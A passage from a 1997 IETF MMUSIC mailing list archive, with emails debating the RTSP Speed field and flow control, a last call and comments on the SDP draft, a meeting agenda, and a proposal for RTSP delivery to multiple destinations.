Progressive Networks-Home of RealAudio            Web: http://www.real.com
For more information on firewalls:       http://www.real.com/firewall.html
For more information on RTSP:               http://www.real.com/prognet/rt

From majordom@ISI.EDU  Sun Apr  2 01:51:11 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA24527>; Sun, 30 Mar 1997 09:51:38 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA24521>; Sun, 30 Mar 1997 09:51:37 -0800
Received: from murrow.prognet.com (prognet.com) by venera.isi.edu (5.65c/5.61+local-26)
	id <AA01505>; Sun, 30 Mar 1997 09:51:36 -0800
Received: from robla.dev.prognet.com (PPPbug-4.prognet.com) by murrow.prognet.com with SMTP id AA24436
  (5.67b/IDA-1.5 for <confctrl@isi.edu>); Sun, 30 Mar 1997 10:01:33 -0800
Message-Id: <3.0.32.19970330095109.010ffc88@mail.prognet.com>
X-Sender: robla@mail.prognet.com
X-Mailer: Windows Eudora Pro Version 3.0 (32)
Date: Sun, 30 Mar 1997 09:51:11 -0800
To: Eric Fleischman <ericfl@MICROSOFT.com>,
        "'confctrl@isi.edu'" <confctrl@isi.edu>
From: Rob Lanphier <robla@prognet.com>
Subject: Re: Speed field in RTSP
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

At 03:23 PM 3/26/97 -0800, Eric Fleischman wrote:
>Overlooking this problem, I am concerned by the very existence of the
>speed field within the spec. I believe that it is a very dangerous
>alternative and leads to many nasty problems. For example, Network
>Managers are very concerned that network traffic be somehow prioritized
>in tune to the company's internal priorities. Controls to achieve this
>are few and inexact at best, so what frequently happens is that Network
>Managers try to set aside a certain percentage of capacity for
>multimedia events including "broadcasts" such as the MBONE. Hence the
>existence of "channels" and SDP-like registration services. Should users
>be given the ability to willy-nilly exceed these prescheduled bandwidth
>allocations, the Network Manager's job quickly becomes untenable. Having
>seen this situation enacted multiple times, the normal next result is a
>directive coming from management banning that technology within the
>corporation until such a time as it may function in a "well behaved"
>fashion. Why then are we permitting a Bad-Network-Citizen-feature like
>speed within this spec? Let's rather eliminate it altogether since its
>downsides are so severe. Any Pushback?

Yes, quite a bit, actually :)  Like I said in my response to Sampo, I think
that this is the method by which we can do crude flow control, among other
things.  Flow control is a characteristic of a "good network citizen".

Truth told, I can't think of a good reason to use this field in MBONE
situations in the near future.  The more likely scenario is a
point-to-point unicast of a stream.  In that scenario, it is not
unmanageable at all.  Network managers who wish to control bandwidth of
RTSP streams will have to do so through the use of proxies, and those
proxies can just as easily strip the "Speed" field as they can limit the
size of the stream.

Rob

---
Rob Lanphier               Voice: (206)674-2322         Fax: (206)674-2699
Program Manager-Protocols                         Email: robla@prognet.com
Progressive Networks-Home of RealAudio            Web: http://www.real.com
For more information on firewalls:       http://www.real.com/firewall.html
For more information on RTSP:               http://www.real.com/prognet/rt

From majordom@ISI.EDU  Sun Apr  2 10:29:02 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA29447>; Sun, 30 Mar 1997 17:33:34 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA29441>; Sun, 30 Mar 1997 17:33:33 -0800
Received: from cs.columbia.edu by venera.isi.edu (5.65c/5.61+local-26)
	id <AA12411>; Sun, 30 Mar 1997 17:33:32 -0800
Received: from leonia (usr6-dialup43.mix2.Boston.mci.net [166.55.68.107]) by cs.columbia.edu (8.8.5/8.6.6) with ESMTP id UAA20456; Sun, 30 Mar 1997 20:33:24 -0500 (EST)
Message-Id: <333ECD0E.66E8@cs.columbia.edu>
Date: Sun, 30 Mar 1997 15:29:02 -0500
From: Henning Schulzrinne <hgs@cs.columbia.edu>
Reply-To: hgs@cs.columbia.edu
Organization: Columbia University (home)
X-Mailer: Mozilla 4.0b2 (Win95; I)
Mime-Version: 1.0
To: Rob Lanphier <robla@prognet.com>
Cc: Eric Fleischman <ericfl@MICROSOFT.com>,
        "'confctrl@isi.edu'" <confctrl@ISI.EDU>
Subject: Re: Speed field in RTSP
X-Priority: 3 (Normal)
References: <3.0.32.19970330095109.010ffc88@mail.prognet.com>
Content-Transfer-Encoding: 7bit
Content-Type: text/plain; charset=us-ascii
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

There seem to be several cases that need to be distinguished:

1) Unicast data delivery over TCP: the client can buffer as much as it
wants. Getting the data across as fast as possible is probably good if
bandwidth is available - can't save up those bits. However, this does
not require a Speed field, since TCP window control will take care of
pacing the sender.

2) Multicast data delivery using UDP: sending data faster is probably
not a great idea, in general. Otherwise, see next item, witht the added
difficulty of multicast congestion/flow control.

3) Unicast UDP: Assuming we have a mechanism like that presented by S.
Jacobs at the RTMWorkshop at INRIA last fall or another TCP-emulating
congestion control, this will look like TCP to the network (minus the
retransmissions, possibly). If you are going to buffer lots of data, you
might as well get (some) reliability, however. Again, a good network
citizen, but not requiring RTSP Speed indication.

If we use the 'equivalent TCP bandwidth function' proposed by Floyd et
al., we can indeed make use of a rate indication (either Speed or
Bandwidth) within RTSP to deliver data faster or at a better quality,
respectively.

Having out-of-band rate control like RTSP Speed for deeply-buffered
receivers is a bit dangerous, however. Imagine that the receiver notices
that its buffer is getting full and that it needs to slow down the
receiver to Speed: 1. In most cases, the request will get there fast,
but in some cases, packet loss or processing delays at proxies or end
systems will delay processing of the request, while the bits keep
flowing at the high rate, overflowing the receiver buffer. Flow control
using rate indication can be tricky...

Thus, I see at best a very limited use for the Speed parameter.

Henning



From majordom@ISI.EDU  Tue Apr  1 21:22:59 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA13197>; Tue, 1 Apr 1997 07:20:26 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA13191>; Tue, 1 Apr 1997 07:20:25 -0800
Received: from edu.lahti.fi by venera.isi.edu (5.65c/5.61+local-26)
	id <AA01916>; Tue, 1 Apr 1997 07:20:21 -0800
Received: (qmail 23623 invoked by uid 1067); 1 Apr 1997 15:22:59 -0000
Date: Tue, 1 Apr 1997 18:22:59 +0300 (EET DST)
From: Sampo Syreeni <decoy@edu.lahti.fi>
To: Rob Lanphier <robla@prognet.com>
Cc: "'confctrl@isi.edu'" <confctrl@isi.edu>
Subject: Re: Speed field in RTSP 
In-Reply-To: <3.0.32.19970330093923.00dba348@mail.prognet.com>
Message-Id: <Pine.LNX.3.95.970401180341.23422A-100000@nexus.edu.lahti.fi>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

On Sun, 30 Mar 1997, Rob Lanphier wrote:

>>I think the issue has been whether to allow for changing the bit rates
>>after the resources have already been reserved, that is, the routes have
>>been established for the data flow. And this is certainly something that
>>should not be encouraged. This is a bit different from what you described
>>above as the above problem of responding to network load and end point
>>latencies mainly calls for (temporary) throttleback. What the bit rate
>>parameter would do, however, is, it would allow for artificially raising
>>the data rate in the middle of transmission. This isn't good from neither
>>the routing nor the good-netizen point of view.
>
>Isn't this what TCP slow start does on a regular basis?

TCP doesn't use resource reservations (as there is currently no
infrastructure for using them anyway). So this is a bit different. And TCP
streams are best effort unlike the isochronous streams we're talking about
here. The slow start mechanism prevents TCP streams from causing
burstiness in the traffic and is hardly something that could be used with
isochronous streams such as audio or video.

>Let's say that you have a stream that takes far less than the available
>bandwidth, and you would like to buffer up a large portion of the stream
>while the network is clear, so that you can scale back later when the
>network is congested.

Possibly. But I think this should be handled through the transport, not
the control protocol. If the transport is a realtime one, then it seems
weird that someone would like to do buffering. Also, at the rates that
one speaks about when using audio and video, it's hardly useful to fill
up buffers beforehand. And if the transport isn't a realtime one, say,
it's TCP, then there is no real need for chaging the parameters - one
can use TCP's flow control mechanisms to take as much data as one can at 
any one time. So I don't believe RTSP should include features to control
realtime modification of the parameters.

>There are other uses for this, but rather than getting into those, please
>explain why non-RSVP routers care what the data rate is.

Not much. But they care about the stability of the data flow and that is
bound to shatter if one can rapidly change the data rates of such large
bandwidth streams as video and audio.

And what about the RSVP ones? One is bound to have them, sooner or later.

>Also please explain why variable bitrates are not good from a
>"good-netizen" point of view.

They encourage resource hogging.

>The reason why I ask is because we've taken heat before as "non net
>friendly" for *not* responding to network conditions, and now you are
>alarmed by the mechanism which would allow for that.

Netizen-like behaviour calls for variable rates, but variable only
downwards. This can be handled through transport throttleback/congestion
control mechanisms. What the proposed bit-rate parameter does, however, is
a bit different. It allows one to increase one's reservations in real time
(leads to routing problems), it allows the reservations to change in
steps rather than continuously (leading to burstiness) and it encourages
resource hogging.

By the way, building congestion control with positive feedback isn't
generally a very good idea. If you rely on RTSP to control the data flows
when network conditions change, the best effort, possibly high-latency 
nature of the control link is bound to cause problems.

Sampo Syreeni (Decoy/dAWN), student, <decoy@edu.lahti.fi>


From majordom@ISI.EDU  Tue Apr  1 21:28:20 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA13301>; Tue, 1 Apr 1997 07:25:41 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA13288>; Tue, 1 Apr 1997 07:25:40 -0800
Received: from edu.lahti.fi by venera.isi.edu (5.65c/5.61+local-26)
	id <AA02075>; Tue, 1 Apr 1997 07:25:37 -0800
Received: (qmail 23678 invoked by uid 1067); 1 Apr 1997 15:28:20 -0000
Date: Tue, 1 Apr 1997 18:28:20 +0300 (EET DST)
From: Sampo Syreeni <decoy@edu.lahti.fi>
To: Rob Lanphier <robla@prognet.com>
Cc: Eric Fleischman <ericfl@MICROSOFT.com>,
        "'confctrl@isi.edu'" <confctrl@isi.edu>
Subject: Re: Speed field in RTSP
In-Reply-To: <3.0.32.19970330095109.010ffc88@mail.prognet.com>
Message-Id: <Pine.LNX.3.95.970401182413.23422B-100000@nexus.edu.lahti.fi>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

On Sun, 30 Mar 1997, Rob Lanphier wrote:

>things.  Flow control is a characteristic of a "good network citizen".

It is also something best handled by the transport protocol.

>The more likely scenario is a
>point-to-point unicast of a stream.  In that scenario, it is not
>unmanageable at all.

RTSP should support both multicast and unicast traffic. And probably
transparently as well.

>Network managers who wish to control bandwidth of
>RTSP streams will have to do so through the use of proxies, and those
>proxies can just as easily strip the "Speed" field as they can limit the
>size of the stream.

Yep, but as RTSP and the actual streams are separate entities, it makes
life hard for firewall and proxy writers.

Sampo Syreeni (Decoy/dAWN), student, <decoy@edu.lahti.fi>


From majordom@ISI.EDU  Tue Apr  1 04:52:12 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA02756>; Tue, 1 Apr 1997 12:53:13 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA02750>; Tue, 1 Apr 1997 12:53:11 -0800
Received: from mail-out2.apple.com by venera.isi.edu (5.65c/5.61+local-26)
	id <AA19113>; Tue, 1 Apr 1997 12:53:11 -0800
Received: from scv3.apple.com (A17-128-100-121.apple.com [17.128.100.121])
	by mail-out2.apple.com (8.8.5/8.8.5) with ESMTP id MAA46274
	for <confctrl@isi.edu>; Tue, 1 Apr 1997 12:51:23 -0800
Received: from [17.255.9.131] (skylawn.research.apple.com [17.255.9.131])
          by scv3.apple.com (8.8.5/8.8.4) with ESMTP
	  id MAA21976 for <confctrl@isi.edu>; Tue, 1 Apr 1997 12:54:55 -0800
X-Sender: alagu@mail.apple.com
Message-Id: <v03020910af671b730e25@[17.255.9.131]>
In-Reply-To: <Pine.LNX.3.95.970401180341.23422A-100000@nexus.edu.lahti.fi>
References: <3.0.32.19970330093923.00dba348@mail.prognet.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Date: Tue, 1 Apr 1997 12:52:12 -0800
To: confctrl@isi.edu
From: Alagu Periyannan <alagu@apple.com>
Subject: Re: Speed field in RTSP
Sender: owner-confctrl@ISI.EDU
Precedence: bulk


Hi all,

I am a newcomer to this group and hope to participate
more in the RTSP discussion.

It seems to me that "speed=2.0" may be a nifty feature in
some cases where you want to buffer ahead.

But when you are buffering ahead you also want to say
"speed=2.0 for_range=0-10; speed=1.0 for_range=10-".
This would mean, I want to buffer the first 10 seconds
at twice the speed and after that start receiving at
normal speed.

In the above example on the server side, "speed" and
"for_range" are just parameters that are passed by
the RTSP subsystem transparently to the stream data
transport subsystem. There can be many such parameters.
These parameters are dependant on the stream data
transport protocol. Maybe we should have a flexible way
in which RTSP can carry such parameters.

Actually, why not use the "Transport" header for this?
Currently there are definitions of parameters for RTP,
like ttl=127, port=1234. We could easily add speed and other
arbitrary parameters to it.

Implementations that do not support a particular
parameter must have a way of stating it.





---------------------------------------------------
Alagu Periyannan                   alagu@apple.com

Interactive Multimedia Group
Apple Computer, Inc.



From majordom@ISI.EDU  Wed Apr  2 07:05:07 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA10214>; Wed, 2 Apr 1997 09:07:06 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA10208>; Wed, 2 Apr 1997 09:07:02 -0800
Received: from buttle.lcs.mit.edu by venera.isi.edu (5.65c/5.61+local-26)
	id <AA01953>; Wed, 2 Apr 1997 09:07:02 -0800
Received: from buttle.lcs.mit.edu by buttle.lcs.mit.edu (SMI-8.6/SMI-SVR4)
	id MAA02191; Wed, 2 Apr 1997 12:05:07 -0500
From: Mark Handley <mjh@isi.edu>
X-Organisation: Information Sciences Institute, USC
X-Phone: +1 617 253 6011
To: confctrl@isi.edu
Subject: WG Last Call on SDP
Date: Wed, 02 Apr 1997 12:05:07 -0500
Message-Id: <2189.860000707@buttle.lcs.mit.edu>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk



I'd like to issue a working-group last call on the current draft of
the Session Description Protocol (draft-ietf-mmusic-sdp-03.{txt,ps})
We plan to submit it to the IESG for Proposed Standard in about three
weeks time.

Mark

From majordom@ISI.EDU  Wed Apr  2 10:35:07 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA19526>; Wed, 2 Apr 1997 18:35:14 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA19519>; Wed, 2 Apr 1997 18:35:13 -0800
Received: from std.sri.com by venera.isi.edu (5.65c/5.61+local-26)
	id <AA02321>; Wed, 2 Apr 1997 18:35:10 -0800
Received: from churchy.std.sri.com by std.sri.com (4.1/SMI-4.1)
	id AA17167; Wed, 2 Apr 97 18:35:08 PST
Message-Id: <9704030235.AA17167@std.sri.com>
To: confctrl@isi.edu
Cc: mbeaulie@ietf.org, mjh@isi.edu, schooler@cs.caltech.edu, rlang@std.sri.com
Subject: MMUSIC Agenda
Date: Wed, 02 Apr 1997 18:35:07 -0800
From: Ruth Lang <rlang@std.sri.com>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk


Folks,

Enclosed is the agenda for the upcoming MMUSIC meeting.  A majority of
the time will be spent on furthering MMUSIC protocols destined for the
IETF Standards track (RTSP, SIP, and SAP).  A new I-D that focuses on
extending SAP with specific algorithms and authentication and
encryption formats will be presented on Tuesday.  Two brief talks, one
on each day, will update us on ITU-related developments and protocols
pertinent to this group.

Comments on the enclosed agenda are welcome and encouraged as soon as
possible.

Thanks in advance to all who will be presenting and participating for
your time and contributions to the group.

Mark, Eve, and Ruth

-------------------

Agenda for the MMUSIC Working Group
38thh IETF, Memphis, Tennessee, USA

Tuesday, April 8, 0900-1130 (multicast)
---------------------------------------

Welcome and Session Overview (10 minutes)

RTSP - Real Time Stream Protocol (90 minutes)
       Anup Rao, Netscape Communication
       Rob Lanphier, Progressive Networks

       ftp://ds.internic.net/internet-drafts/draft-ietf-mmusic-rtsp-02.txt
       ftp://ds.internic.net/internet-drafts/draft-ietf-mmusic-rtsp-02.ps
 
SAP - Session Announcement Protocol (15 minutes)
      Mark Handley, USC Information Sciences Institute

      ftp://ds.internic.net/internet-drafts/draft-ietf-mmusic-sap.00.txt
      ftp://ds.internic.net/internet-drafts/draft-ietf-mmusic-sap.00.ps

SAP Security (25 minutes)
    Colin Perkins, University College London

     ftp://ds.internic.net/internet-drafts/draft-ietf-mmusic-sap-sec-00.txt
 
Mbone-ITU Gateways (10 minutes)
      Carsten Bormann, Universitaet Bremen


Wednesday, April 9, 1700-1800 
------------------------------

Welcome and Session Overview (5 minutes)

SIP - Session Initiation Protocol (30 minutes)
      Mark Handley, USC Information Sciences Institute
      Henning Schulzrinne, Columbia University

      ftp://ds.internic.net/internet-drafts/draft-ietf-mmusic-sip-02.txt
      ftp://ds.internic.net/internet-drafts/draft-ietf-mmusic-sip-02.ps

H.332 Overview (20 minutes) 
      Joerg Ott, TU Berlin

From majordom@ISI.EDU  Wed Apr  2 03:03:31 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA20998>; Wed, 2 Apr 1997 19:25:43 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA20986>; Wed, 2 Apr 1997 19:25:39 -0800
Received: from INET-04-IMC.microsoft.com (mail4.microsoft.com) by venera.isi.edu (5.65c/5.61+local-26)
	id <AA04036>; Wed, 2 Apr 1997 19:25:39 -0800
Received: by INET-04-IMC with Internet Mail Service (5.0.1457.3)
	id <2D3L721G>; Wed, 2 Apr 1997 16:17:10 -0800
Message-Id: <503A2A3C2932CF118D8800805FD44E1802F46B68@RED-68-MSG.dns.microsoft.com>
From: Eric Fleischman <ericfl@MICROSOFT.com>
To: 'Rob Lanphier' <robla@prognet.com>, Sampo Syreeni <decoy@edu.lahti.fi>
Cc: "'confctrl@isi.edu'" <confctrl@isi.edu>
Subject: RE: Speed field in RTSP 
Date: Wed, 2 Apr 1997 11:03:31 -0800
X-Priority: 3
X-Mailer: Internet Mail Service (5.0.1457.3)
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Rob Lanphier wrote on Sunday, March 30, 1997 9:39 AM:

	>Let's say that you have a stream that takes far less than the
available
	>bandwidth, and you would like to buffer up a large portion of
the stream
	>while the network is clear, so that you can scale back later
when the
	>network is congested.

What you are proposing is that a human - working in human time - can
somehow determine future network states and can do so with adequate
foresight to instruct streaming engines to correctly handle those events
(i.e., you also must account for the latencies for your commands to
reach the server and be executed by the server). I can't imagine how
this could possibly work in real life. Thus, this idea is fatally flawed
due to the required human involvement.

However, even if humans weren't involved, the idea would still be
problematical. This is because application layer protocols lack the
insight to know what is happening at the network layer to transparently
enable what you desire. Should you add in heuristics at the application
layer to discern network layer states, the granularity of those
heuristics are such that there is a high probability that the state has
changed. Adaptive mechanisms put at the application layer (RTCP) at best
can respond to prolonged situations determined via statistical sampling
- not to local transients. This makes application layer "control" only
able to accurately respond to statistically stable, macro events.

There is the inherent problem of not knowing the future and therefore
not knowing how to interpret data rate "spikes" -- including how long
they will endure and when new spikes will occur. On what basis could an
application layer entity ever discern that the "network is currently
clear"? At best, it can discern that the network was clear a short while
ago or that it has been statistically "clear" of late.

	>There are other uses for this, but rather than getting into
those, please
	>explain why non-RSVP routers care what the data rate is.  Also
please
	>explain why variable bitrates are not good from a
"good-netizen" point of
	>view.  The reason why I ask is because we've taken heat before
as "non net
	>friendly" for *not* responding to network conditions, and now
you are
	>alarmed by the mechanism which would allow for that.

This is not a router issue unless (and until) network resources become
so saturated that packets are dropped or unacceptably delayed.

It is rather a network management issue. Here's a part of the problem:
applications using TCP have some sensibility to network conditions
(e.g., throttling back under certain conditions). Applications using UDP
are not sensitive to network conditions. Thus, when mixed together, UDP
traffic has a natural tendency to "gobble up" the available bandwidth.
Network managers therefore try to enact corporate network policies to
ensure that the data which is most valuable to the corporation actually
gets through. This frequently means explicit attempts to limit the
bandwidth taken by isochronous traffic.

End users are rarely versed in corporate network policies. Your plan
gives end users the willy-nilly ability to arbitrarily consume network
bandwidth as they see fit. This ability would directly thwart the
efforts of network managers. The natural response to this occurring
would be for senior management to ban such products as being "Bad
Network Citizens" until such a time as they could be ensured to behave
responsibly.

From majordom@ISI.EDU  Thu Apr  3 16:43:30 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA02331>; Thu, 3 Apr 1997 02:40:34 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA02325>; Thu, 3 Apr 1997 02:40:32 -0800
Received: from edu.lahti.fi by venera.isi.edu (5.65c/5.61+local-26)
	id <AA18121>; Thu, 3 Apr 1997 02:40:31 -0800
Received: (qmail 16188 invoked by uid 1067); 3 Apr 1997 10:43:31 -0000
Date: Thu, 3 Apr 1997 13:43:30 +0300 (EET DST)
From: Sampo Syreeni <decoy@edu.lahti.fi>
To: Alagu Periyannan <alagu@apple.com>
Cc: confctrl@isi.edu
Subject: Re: Speed field in RTSP
In-Reply-To: <v03020910af671b730e25@[17.255.9.131]>
Message-Id: <Pine.LNX.3.95.970403133951.15165G-100000@nexus.edu.lahti.fi>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

On Tue, 1 Apr 1997, Alagu Periyannan wrote:

>It seems to me that "speed=2.0" may be a nifty feature in
>some cases where you want to buffer ahead.

Did you mean bit-rate=2.0?

>But when you are buffering ahead you also want to say
>"speed=2.0 for_range=0-10; speed=1.0 for_range=10-".

Hmm. Means a bit more complexity and more states in the server side...
However, as the cue lists are already used...

But as we've discussed before, there is some concern over the whole
bit-rate parameter...

>Actually, why not use the "Transport" header for this?
>Currently there are definitions of parameters for RTP,
>like ttl=127, port=1234. We could easily add speed and other
>arbitrary parameters to it.

Indeed. Or do it by pure flow control.

Sampo Syreeni (Decoy/dAWN), student, <decoy@edu.lahti.fi>


From majordom@ISI.EDU  Thu Apr  3 01:35:46 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA18124>; Thu, 3 Apr 1997 09:49:25 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA18118>; Thu, 3 Apr 1997 09:49:22 -0800
Received: from mail-out1.apple.com by venera.isi.edu (5.65c/5.61+local-26)
	id <AA05293>; Thu, 3 Apr 1997 09:49:22 -0800
Received: from scv3.apple.com (A17-128-100-121.apple.com [17.128.100.121])
	by mail-out1.apple.com (8.8.5/8.8.5) with ESMTP id JAA12476
	for <confctrl@isi.edu>; Thu, 3 Apr 1997 09:47:11 -0800
Received: from [17.255.9.131] (skylawn.research.apple.com [17.255.9.131])
          by scv3.apple.com (8.8.5/8.8.4) with ESMTP
	  id JAA10048 for <confctrl@isi.edu>; Thu, 3 Apr 1997 09:50:49 -0800
X-Sender: alagu@mail.apple.com
Message-Id: <v0302091caf69994aea1b@[17.255.9.131]>
In-Reply-To: <Pine.LNX.3.95.970403133951.15165G-100000@nexus.edu.lahti.fi>
References: <v03020910af671b730e25@[17.255.9.131]>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Date: Thu, 3 Apr 1997 09:35:46 -0800
To: confctrl@isi.edu
From: Alagu Periyannan <alagu@apple.com>
Subject: Re: Speed field in RTSP
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

At 1:43 PM +0300 4/3/97, Sampo Syreeni wrote:
>On Tue, 1 Apr 1997, Alagu Periyannan wrote:
>
>>It seems to me that "speed=2.0" may be a nifty feature in
>>some cases where you want to buffer ahead.
>
>Did you mean bit-rate=2.0?
>

I meant send it out at twice the speed over the network.

The timestamps on every sample may still correspond to
normal playback rate. The playback rate gets determined
by the "scale".




---------------------------------------------------
Alagu Periyannan                   alagu@apple.com

Interactive Multimedia Group
Apple Computer, Inc.



From majordom@ISI.EDU  Thu Apr  3 19:18:25 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA19504>; Thu, 3 Apr 1997 10:08:19 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA19495>; Thu, 3 Apr 1997 10:08:16 -0800
Received: from mailhub.axion.bt.co.uk by venera.isi.edu (5.65c/5.61+local-26)
	id <AA07091>; Thu, 3 Apr 1997 10:08:13 -0800
Received: from rambo.futures.bt.co.uk by mailhub.axion.bt.co.uk with SMTP (PP); Thu, 3 Apr 1997 19:01:40 +0100
Received: from mussel.drake.bt.co.uk (actually mussel.futures.bt.co.uk) by rambo.futures.bt.co.uk with SMTP (PP);
          Thu, 3 Apr 1997 19:03:27 +0100
Received: by mussel.drake.bt.co.uk with Microsoft Exchange (IMC 4.0.837.3) id <01BC4060.C966B200@mussel.drake.bt.co.uk>;
          Thu, 3 Apr 1997 18:56:49 +0100
Message-Id: <c=GB%a=_%p=BT%l=NORMAN-970403171825Z-1283@mussel.drake.bt.co.uk>
From: Pete Cordell <pete.cordell@bt-sys.bt.co.uk>
To: 'MMusic' <confctrl@isi.edu>
Cc: 'ietf-coord' <ietf-coord@gideon.bt.co.uk>,
        'Gencall' <gencall@gideon.bt.co.uk>
Subject: RE: WG Last Call on SDP
Date: Thu, 3 Apr 1997 18:18:25 +0100
X-Mailer: Microsoft Exchange Server Internet Mail Connector Version 4.0.837.3
Encoding: 67 TEXT
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Mark,

Some comments on SDP:

1. I think the maximum line length ought to be specified as some value
or as unbounded.

2 .We have been looking at the a=cat field, and wanted to suggest that
users/organisations should register a top level label with IANA so that
their categorisations can be identified.  e.g. a TV station, say MTV,
could register mtv, which would allow them to have cat fields like:

a=cat:mtv.rock.heavy

To fit in with this scheme, users/organisations that didn't want to
register a top level category, could use x- notation, i.e.:

a=cat:x-mtv.rock.heavy

It may also be useful to allow for a digital signature at the end of the
line so that things like TV ratings could be signed.  This would
probably have to be based on a signature of everything minus the cat
lines.

Thanks,

Pete

-------------------------------
P.S. Although this should not affect the SDP RFC, we have also been
considering the following media encodings to give some hierarchy to SDP
announcements, and also allow some more attractive presentation of
information as per the TV times etc.  Hopefully the extensibility of SDP
will allow this and no action is required at this time.

m=sdp <port> <transport>
c=IN IP4 <IP dotted notation address>/<ttl>

and

m=embedded <MIME-type> <MIME-transfer-encoding> [<name>]
a=data:<encoded data>
a=.....

e.g.

m=sdp 127 sap
c=IN IP4 224.1.2.3/127

m=embedded application/html 7bit 
a=data:<html><body><img src="jurasic.gif">
a=data:<A HREF="hollywood.com/films/jurasic">Jurasic Park</A> was last
years big blockbuster and a great
a=data:success for director <A
HREF="hollywood.com/directors/spielberg">Steven Spielberg</A>.
a=data:</body></html>

m=embedded image/gif base64 jurasic.gif
a=data:akjhvgkjygkuekjhvbkdjhvbkjhg9763t9uyg9876tv976ds876t
a=data:oniuhbcd897y4b097yd097y4-98yd9-8y-9487y097yt0874
a=data:bt0987bn0

-------------------------------------------------------------
Notice:  This contribution is the personal view of the author and does
not necessarily reflect the technical nor commercial direction of
British telecommunications plc.
-------------------------------------------------------------

From majordom@ISI.EDU  Tue Apr  8 16:43:14 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA10502>; Tue, 8 Apr 1997 23:44:11 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA10493>; Tue, 8 Apr 1997 23:44:10 -0700
Received: from mailbag.jf.intel.com by venera.isi.edu (5.65c/5.61+local-26)
	id <AA12404>; Tue, 8 Apr 1997 23:44:09 -0700
Received: from ideal.jf.intel.com (ideal.jf.intel.com [134.134.130.5]) by mailbag.jf.intel.com (8.8.5/8.7.3) with ESMTP id XAA16053 for <confctrl@isi.edu>; Tue, 8 Apr 1997 23:46:29 -0700 (PDT)
Received: from vega ([134.134.234.124])
          by ideal.jf.intel.com (8.8.5/8.8.4) with SMTP
	  id XAA06288 for <confctrl@isi.edu>; Tue, 8 Apr 1997 23:41:29 -0700 (PDT)
Message-Id: <2.2.32.19970409064314.00692334@ibeam.intel.com>
X-Sender: prl@ibeam.intel.com (Unverified)
X-Mailer: Windows Eudora Pro Version 2.2 (32)
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Date: Tue, 08 Apr 1997 23:43:14 -0700
To: confctrl@isi.edu
From: Philip Lantz <prl@ideal.jf.intel.com>
Subject: RTSP - delivery to multiple destinations
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

In today's meeting we discussed whether RTSP should support a client
requesting delivery of the media streams to multiple addresses. After the
discussion, I thought of some additional points.

We had decided that the client could request delivery of the media streams
to an address other than its own (with the caveat that the server may have
security policy that prohibits or restricts this usage). Given that
decision, we can use multiple SETUP and PLAY messages to achieve the effect
we want--unicast delivery of the media streams to each of the participants
in a conference. However, the use of a single RTSP session for all
recipients has some advantages:

1) The server can maintain a single state for all recipients, instead of
duplicating it for each, thus conserving server resources.

2) If the server is constrained by resources other than network bandwidth,
the use of a single session can allow the server to support more recipients
than it could if multiple sessions were used. For example, disk bandwidth
could limit the number of sessions a server can support, but if the same
disk file is being served to multiple recipients, the server could handle
additional recipients, up to the limit of its network connection.

3) It is easier for a client to be able to request support for all the
destinations in one operation (which may fail), rather than requesting them
one at a time and possibly having some succeed and some fail. (I admit the
client can solve this in other ways; it is a minor advantage.)

4) Although there is no requirement or expectation of a guarantee of the
maximum skew between the streams to the various destinations, I think it is
reasonable to expect that the skew will be minimized if all the streams are
started with a single PLAY message rather than a series of them.

Philip Lantz
Intel Corporation
prl@ibeam.intel.com


From majordom@ISI.EDU  Wed Apr  9 04:51:39 1997
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA15507>; Wed, 9 Apr 1997 05:53:15 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA15500>; Wed, 9 Apr 1997 05:53:08 -0700
